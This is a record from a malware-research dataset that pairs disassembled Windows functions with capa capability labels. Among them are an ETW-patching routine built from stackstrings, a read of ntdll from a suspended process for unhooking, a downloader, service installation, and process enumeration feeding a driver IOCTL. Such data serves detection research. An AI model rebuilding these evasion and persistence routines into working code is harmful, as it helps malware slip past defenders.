joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400cdb47
Capabilities:
Create service
Start service

Disassembly:
jmp 0x1400e6570
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
sub rsp, 0xcf0
lea rbp, [rsp + 0x70]
lea rdi, [rsp + 0x70]
mov ecx, 0x230
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xd18]
mov rax, qword [0x14030bad8]
xor rax, rbp
mov qword [rbp + 0xc78], rax
mov dword [rbp + 4], 0
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x48], 0
lea rax, [rbp + 0x70]
lea rcx, [0x14027a080]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x14
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x84]
mov rdi, rax
xor eax, eax
mov ecx, 0x7ec
rep stosb byte [rdi], al
mov r8d, 0xf003f
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x1400e661c
mov dword [rbp + 4], 0
jmp 0x1400e679d
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov rax, qword [rbp + 0xca0]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 1
mov r9d, 0xf01ff
lea r8, [rbp + 0x70]
lea rdx, [rbp + 0x70]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x1400e6717
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x884], eax
cmp dword [rbp + 0x884], 0x3e5
je 0x1400e66c9
cmp dword [rbp + 0x884], 0x431
je 0x1400e66c9
mov dword [rbp + 4], 0
jmp 0x1400e679d
mov r8d, 0xf01ff
lea rdx, [rbp + 0x70]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x1400e6717
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x884], eax
mov edx, dword [rbp + 0x884]
lea rcx, str.OpenService___Faild__d____n
call fcn.1400cca8f
mov dword [rbp + 4], 0
jmp 0x1400e679d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jne 0x1400e6796
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x8a4], eax
cmp dword [rbp + 0x8a4], 0x3e5
je 0x1400e6772
cmp dword [rbp + 0x8a4], 0x420
je 0x1400e6772
mov edx, dword [rbp + 0x8a4]
lea rcx, str.StartService___Faild__d____n
call fcn.1400cca8f
mov dword [rbp + 4], 0
jmp 0x1400e679d
cmp dword [rbp + 0x8a4], 0x3e5
jne 0x1400e678b
mov dword [rbp + 4], 0
jmp 0x1400e679d
mov dword [rbp + 4], 1
jmp 0x1400e679d
mov dword [rbp + 4], 1
cmp qword [rbp + 0x48], 0
je 0x1400e67ae
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp qword [rbp + 0x28], 0
je 0x1400e67bf
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x70]
lea rdx, [0x140277ec0]
call fcn.1400cea88
mov eax, edi
mov rcx, qword [rbp + 0xc78]
xor rcx, rbp
call fcn.1400ccb7f
lea rsp, [rbp + 0xc80]
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400cddea
Capabilities:
Parse pe header

Disassembly:
jmp 0x14015eef0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14015ef10
xor al, al
jmp 0x14015ef91
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14015ef23
xor al, al
jmp 0x14015ef91
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14015ef4d
xor al, al
jmp 0x14015ef91
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14015ef61
xor al, al
jmp 0x14015ef91
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14015ef73
xor al, al
jmp 0x14015ef91
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14015ef8f
xor al, al
jmp 0x14015ef91
mov al, 1
add rsp, 0x38
ret
Function at 0x1400ce6eb
Capabilities:
Terminate process

Disassembly:
jmp 0x140182200
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov ecx, 0x17
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x14018222e
mov ecx, 5
int 0x29
mov r8d, 1
mov edx, 0xc0000417
mov ecx, 2
call fcn.1400cf3b1
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000417
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x1400ce85d
Capabilities:
Create process on windows
Create process suspended
Terminate process

Disassembly:
jmp 0x1400edb30
push rbp
push rdi
sub rsp, 0x2a8
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x66
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov qword [rbp + 8], 0
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0x30]
call fcn.1400ce371
mov r8d, 0x18
xor edx, edx
lea rcx, [rbp + 0xb8]
call fcn.1400ce371
lea rax, [rbp + 0xb8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:WindowsSystem32_notepad.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp qword [rbp + 0xb8], 0
jne 0x1400edbe6
lea rcx, str.____Error_creating_process_r_n
call fcn.1400cca8f
xor eax, eax
jmp 0x1400edcba
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rbp + 0xe8], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 0x138], rax
mov r9d, 0x18
lea r8, [rbp + 0x108]
mov rdx, qword [rbp + 0x138]
mov rcx, qword [rbp + 0xe8]
call fcn.1400cb8f6
mov eax, dword [rbp + 0x110]
mov qword [rbp + 0x248], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, qword [rbp + 0x248]
mov r8, rcx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbp + 8], rax
mov eax, dword [rbp + 0x110]
lea rcx, [rbp + 0x158]
mov qword [rsp + 0x20], rcx
mov r9d, eax
mov r8, qword [rbp + 8]
mov rdx, qword [rbp + 0x108]
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [rbp + 0x174], eax
cmp dword [rbp + 0x174], 0
jne 0x1400edca7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_reading_ntdll___u__n
call fcn.1400cca8f
xor eax, eax
jmp 0x1400edcba
xor edx, edx
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rax, qword [rbp + 8]
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x1402755a0]
call fcn.1400cea88
mov rax, rdi
lea rsp, [rbp + 0x258]
pop rdi
pop rbp
ret
Function at 0x1400cea10
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings

Disassembly:
jmp 0x1400e4dc0
push rbp
push rdi
sub rsp, 0x1d8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x3e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14030bad8]
xor rax, rbp
mov qword [rbp + 0x1a8], rax
mov dword [rbp + 4], 0
mov byte [rbp + 0x28], 0x45
mov byte [rbp + 0x29], 0x74
mov byte [rbp + 0x2a], 0x77
mov byte [rbp + 0x2b], 0x45
mov byte [rbp + 0x2c], 0x76
mov byte [rbp + 0x2d], 0x65
mov byte [rbp + 0x2e], 0x6e
mov byte [rbp + 0x2f], 0x74
mov byte [rbp + 0x30], 0x57
mov byte [rbp + 0x31], 0x72
mov byte [rbp + 0x32], 0x69
mov byte [rbp + 0x33], 0x74
mov byte [rbp + 0x34], 0x65
mov byte [rbp + 0x35], 0
mov byte [rbp + 0x54], 0x6e
mov byte [rbp + 0x55], 0x74
mov byte [rbp + 0x56], 0x64
mov byte [rbp + 0x57], 0x6c
mov byte [rbp + 0x58], 0x6c
mov byte [rbp + 0x59], 0
mov byte [rbp + 0x74], 0x48
mov byte [rbp + 0x75], 0x33
mov byte [rbp + 0x76], 0xc0
mov byte [rbp + 0x77], 0xc3
lea rcx, [rbp + 0x54]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp + 0x28]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x98], rax
cmp qword [rbp + 0x98], 0
jne 0x1400e4e9b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_get_EtwEventWrite_Addr___u__n
call fcn.1400cca8f
xor eax, eax
jmp 0x1400e4f3a
lea r9, [rbp + 4]
mov r8d, 0x40
mov edx, 0x1000
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rbp + 0xb4], eax
cmp dword [rbp + 0xb4], 0
jne 0x1400e4ede
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_changing_protection___u__n
call fcn.1400cca8f
xor eax, eax
jmp 0x1400e4f3a
mov r8d, 4
lea rdx, [rbp + 0x74]
mov rcx, qword [rbp + 0x98]
call fcn.1400ccba7
lea r9, [rbp + 4]
mov r8d, dword [rbp + 4]
mov edx, 0x1000
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rbp + 0xd4], eax
cmp dword [rbp + 0xd4], 0
jne 0x1400e4f35
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_changing_protection_back___u__n
call fcn.1400cca8f
xor eax, eax
jmp 0x1400e4f3a
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x1402772c0]
call fcn.1400cea88
mov rax, rdi
mov rcx, qword [rbp + 0x1a8]
xor rcx, rbp
call fcn.1400ccb7f
lea rsp, [rbp + 0x1b8]
pop rdi
pop rbp
ret
Function at 0x1400cf21c
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
jmp 0x1400e4fe0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
mov eax, 0x1728
call fcn.1400cb027
sub rsp, rax
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x43a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1748]
mov rax, qword [0x14030bad8]
xor rax, rbp
mov qword [rbp + 0x16d8], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.Download_Agent
call qword [sym.imp.WININET.dll_InternetOpenW]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x1400e506e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.InternetOpen__d_n
call fcn.1400cca8f
xor al, al
jmp 0x1400e51c6
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x1700]
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x1400e50c6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.InternetOpenUrlW__d_n
call fcn.1400cca8f
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor al, al
jmp 0x1400e51c6
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, qword [rbp + 0x1708]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0xffffffffffffffff
jne 0x1400e5131
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateFile__d_n
call fcn.1400cca8f
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor al, al
jmp 0x1400e51c6
mov byte [rbp + 0x10a4], 1
lea r9, [rbp + 0x64]
mov r8d, 0x1000
lea rdx, [rbp + 0x90]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400e5192
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x10c4]
mov r8d, dword [rbp + 0x64]
lea rdx, [rbp + 0x90]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [rbp + 0x10c4]
cmp dword [rbp + 0x64], eax
je 0x1400e5190
mov byte [rbp + 0x10a4], 0
jmp 0x1400e51a1
jmp 0x1400e519b
mov byte [rbp + 0x10a4], 0
jmp 0x1400e51a1
cmp dword [rbp + 0x64], 0
ja 0x1400e5138
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
movzx eax, byte [rbp + 0x10a4]
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x1402770c0]
call fcn.1400cea88
mov rax, rdi
mov rcx, qword [rbp + 0x16d8]
xor rcx, rbp
call fcn.1400ccb7f
lea rsp, [rbp + 0x16e8]
pop rdi
pop rbp
ret
Function at 0x1400cf42e
Capabilities:
Print debug messages

Disassembly:
jmp 0x140213520
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rsp, 0x28
ret
Function at 0x1400cf5af
Capabilities:
Set thread local storage value

Disassembly:
jmp 0x1401812a0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.140180bf0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1401812e9
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x14032a020]
jmp 0x1401812f8
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
add rsp, 0x48
ret

Function at 0x1400cf6d6
Capabilities:
Set environment variable

Disassembly:
jmp 0x14025d7d0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0xb8
lea rcx, [rsp + 0x78]
call fcn.1400cc0f3
lea rcx, [rsp + 0x48]
call fcn.1400cc0f3
call fcn.1400cd048
mov r8d, eax
lea rdx, [rsp + 0x78]
mov rcx, qword [rsp + 0xc0]
call fcn.1400cbd92
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
je 0x14025d83f
mov dword [rsp + 0x24], 0
lea rcx, [rsp + 0x48]
call fcn.1400cc6b1
lea rcx, [rsp + 0x78]
call fcn.1400cc6b1
mov eax, dword [rsp + 0x24]
jmp 0x14025d8d0
call fcn.1400cd048
mov r8d, eax
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0xc8]
call fcn.1400cbd92
mov dword [rsp + 0x28], eax
cmp dword [rsp + 0x28], 0
je 0x14025d886
mov dword [rsp + 0x2c], 0
lea rcx, [rsp + 0x48]
call fcn.1400cc6b1
lea rcx, [rsp + 0x78]
call fcn.1400cc6b1
mov eax, dword [rsp + 0x2c]
jmp 0x14025d8d0
lea rcx, [rsp + 0x48]
call fcn.1400cbff4
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x78]
call fcn.1400cbff4
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov dword [rsp + 0x30], eax
lea rcx, [rsp + 0x48]
call fcn.1400cc6b1
lea rcx, [rsp + 0x78]
call fcn.1400cc6b1
mov eax, dword [rsp + 0x30]
add rsp, 0xb8
ret
Function at 0x1400cf9c9
Capabilities:
Enumerate processes

Disassembly:
jmp 0x1400ec160
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x6b8
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x10e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x6d8]
mov rax, qword [0x14030bad8]
xor rax, rbp
mov qword [rbp + 0x668], rax
mov dword [rbp + 4], 0
mov dword [rbp + 0x24], 0
mov dword [rbp + 0x44], 0
mov dword [rbp + 0x64], 0
xor edx, edx
mov ecx, 2
call fcn.1400ccab7
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0xffffffffffffffff
je 0x1400ec2a6
mov dword [rbp + 0xb0], 0x238
lea rdx, [rbp + 0xb0]
mov rcx, qword [rbp + 0x88]
call fcn.1400cd656
test eax, eax
je 0x1400ec299
mov r8d, 0x104
lea rdx, [rbp + 0xdc]
lea rcx, [rbp + 0x310]
call fcn.1400cee84
lea rcx, [rbp + 0x310]
call fcn.1400cf46a
test eax, eax
je 0x1400ec27e
mov eax, dword [rbp + 0xb8]
mov dword [rbp + 4], eax
mov qword [rsp + 0x38], 0
lea rax, [rbp + 0x44]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x24]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rbp + 4]
mov edx, 0x80002048
mov rcx, qword [rbp + 0x690]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x1400ec276
jmp 0x1400ec27e
mov eax, dword [rbp + 0x64]
inc eax
mov dword [rbp + 0x64], eax
lea rdx, [rbp + 0xb0]
mov rcx, qword [rbp + 0x88]
call fcn.1400ced3a
test eax, eax
jne 0x1400ec1ff
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 0x64]
mov edi, eax
lea rcx, [rbp - 0x40]
lea rdx, [0x140278220]
call fcn.1400cea88
mov eax, edi
mov rcx, qword [rbp + 0x668]
xor rcx, rbp
call fcn.1400ccb7f
lea rsp, [rbp + 0x678]
pop rdi
pop rbp
ret
Function at 0x1400d0379
Capabilities:
Enumerate processes

Disassembly:
jmp 0x1400e5310
push rbp
push rdi
sub rsp, 0x698
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x10e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14030bad8]
xor rax, rbp
mov qword [rbp + 0x668], rax
mov dword [rbp + 4], 0
mov dword [rbp + 0x24], 0
mov dword [rbp + 0x44], 0
mov dword [rbp + 0x64], 0
xor edx, edx
mov ecx, 2
call fcn.1400ccab7
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0xffffffffffffffff
je 0x1400e5403
mov dword [rbp + 0xb0], 0x238
lea rdx, [rbp + 0xb0]
mov rcx, qword [rbp + 0x88]
call fcn.1400cd656
test eax, eax
je 0x1400e53f6
mov r8d, 0x104
lea rdx, [rbp + 0xdc]
lea rcx, [rbp + 0x310]
call fcn.1400cee84
lea rcx, [rbp + 0x310]
call fcn.1400cf46a
test eax, eax
je 0x1400e53df
mov eax, dword [rbp + 0xb8]
mov dword [rbp + 4], eax
mov eax, dword [0x14030e340]
inc eax
mov dword [0x14030e340], eax
lea rdx, [rbp + 0xb0]
mov rcx, qword [rbp + 0x88]
call fcn.1400ced3a
test eax, eax
jne 0x1400e539f
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 0x64]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.1400cea88
mov eax, edi
mov rcx, qword [rbp + 0x668]
xor rcx, rbp
call fcn.1400ccb7f
lea rsp, [rbp + 0x678]
pop rdi
pop rbp
ret
Function at 0x1402172b0
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.1400cb027
sub rsp, rax
mov rax, qword [0x14030bad8]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x140311040]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x1402174a2
lea rax, [rsp + 0x147f]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x38], rax
jae 0x1402173f6
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x1402173f6
mov rax, qword [rsp + 0x48]
movzx eax, byte [rax]
mov byte [rsp + 0x31], al
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x30], al
movsx eax, byte [rsp + 0x30]
cmp eax, 0xa
jne 0x1402173db
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
mov rax, qword [rsp + 0x38]
mov byte [rax], 0xd
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, byte [rsp + 0x30]
mov byte [rax], cl
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
jmp 0x140217378
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
mov r8d, dword [rsp + 0x40]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140217462
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x68], eax
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1402174c1
mov eax, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x40]
cmp dword [rsp + 0x44], eax
jae 0x14021749d
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1402174c1
jmp 0x14021734e
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.1400ccb7f
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x140217570
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.1400cb027
sub rsp, rax
mov rax, qword [0x14030bad8]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x140311040]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x68], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x14021777d
lea rax, [rsp + 0x147e]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
cmp qword [rsp + 0x38], rax
jae 0x1402176c9
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x1402176c9
mov rax, qword [rsp + 0x50]
movzx eax, word [rax]
mov word [rsp + 0x40], ax
mov rax, qword [rsp + 0x50]
add rax, 2
mov qword [rsp + 0x50], rax
movzx eax, word [rsp + 0x40]
mov word [rsp + 0x30], ax
movzx eax, word [rsp + 0x30]
cmp eax, 0xa
jne 0x1402176a9
mov eax, dword [rsp + 0x78]
add eax, 2
mov dword [rsp + 0x78], eax
mov eax, 0xd
mov rcx, qword [rsp + 0x38]
mov word [rcx], ax
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, word [rsp + 0x30]
mov word [rax], cx
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
jmp 0x140217638
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov eax, eax
shl rax, 1
mov dword [rsp + 0x44], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x44]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x14021773d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x70], eax
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x14021779c
mov eax, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x44]
cmp dword [rsp + 0x48], eax
jae 0x140217778
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x14021779c
jmp 0x14021760e
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
